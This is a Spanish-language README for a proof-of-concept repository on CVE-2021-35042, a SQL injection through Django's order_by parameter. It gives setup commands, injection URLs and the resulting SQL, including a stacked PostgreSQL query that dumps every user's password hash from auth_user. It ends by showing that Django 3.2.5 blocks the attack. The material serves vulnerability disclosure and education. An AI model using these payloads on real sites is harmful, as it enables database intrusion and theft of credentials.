r4vi/cve-2021-35042Prueba de concepto interactiva que demuestra la inyección SQL en Django (CVE-2021-35042) con explotación paso a paso contra bases de datos SQLite y PostgreSQL.
Bug de inyección SQL en Django
Pregunta: ¿hasta qué punto es explotable?
Respuesta: estoy aterrorizado
poetry install
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py runserver
ve a http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
ten en cuenta que el parámetro ?order_by está pasando una referencia SQL en bruto a una
columna "core_things_tags"."things_id"
Esto se siente como lo más lejos que puedes llegar: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- que cierra la primera consulta SQL y se traduce al siguiente SQL:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
que falla con:
Warning at /
You can only execute one statement at a time.
esto es solo porque sqlite solo puede ejecutar 1 consulta a la vez
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py createsuperuser # sigue las indicaciones
que ejecuta el siguiente sql:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
ahora puedes hacer básicamente cualquier cosa. Esta consulta roba el hash de la contraseña de cada usuario.
ahora actualiza django temporalmente
poetry shell
pip install Django==3.2.5
revisita la URL anterior y observa que ya no funciona:
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags